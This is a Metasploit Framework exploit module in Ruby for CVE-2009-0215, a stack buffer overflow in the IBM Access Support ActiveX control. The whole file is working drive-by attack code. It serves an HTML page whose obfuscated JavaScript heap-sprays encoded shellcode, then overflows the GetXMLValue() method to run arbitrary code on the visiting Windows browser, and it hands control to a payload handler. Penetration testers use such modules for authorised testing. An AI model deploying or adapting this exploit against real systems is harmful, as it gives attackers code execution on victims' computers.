##
# $Id: ibmegath_getxmlvalue.rb 10998 2010-11-11 22:43:22Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'IBM Access Support ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in IBM Access Support. When
sending an overly long string to the GetXMLValue() method of IbmEgath.dll
(3.20.284.0) an attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision: 10998 $',
'References' =>
[
[ 'CVE', '2009-0215' ],
[ 'OSVDB', '52958' ],
[ 'BID', '34228' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
],
'DisclosureDate' => 'Mar 24 2009',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)
fill = rand_text_english(rand(12) + 1)
js = %Q|
try {
var evil_string = "";
var index;
var sumthang;
var vulnerable = new ActiveXObject('IbmEgath.IbmEgathCtl.1');
var my_unescape = unescape;
var shellcode = '#{shellcode}';
#{js_heap_spray}
sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);
for (index = 0; index < 4024; index++) {
evil_string = evil_string + my_unescape('#{ret}');
}
vulnerable.RunEgatherer('#{fill}');
var sumthang = vulnerable.GetXMLValue('#{fill}.xml', evil_string);
} catch( e ) { window.location = 'about:blank' ; }
|
opts = {
'Strings' => true,
'Symbols' => {
'Variables' => [
'vulnerable',
'shellcode',
'my_unescape',
'index',
'evil_string',
'sumthang',
]
}
}
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
js.update_opts(js_heap_spray.opts)
js.obfuscate()
content = %Q|<html>
<body>
<script><!--
#{js}
//</script>
</body>
</html>
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
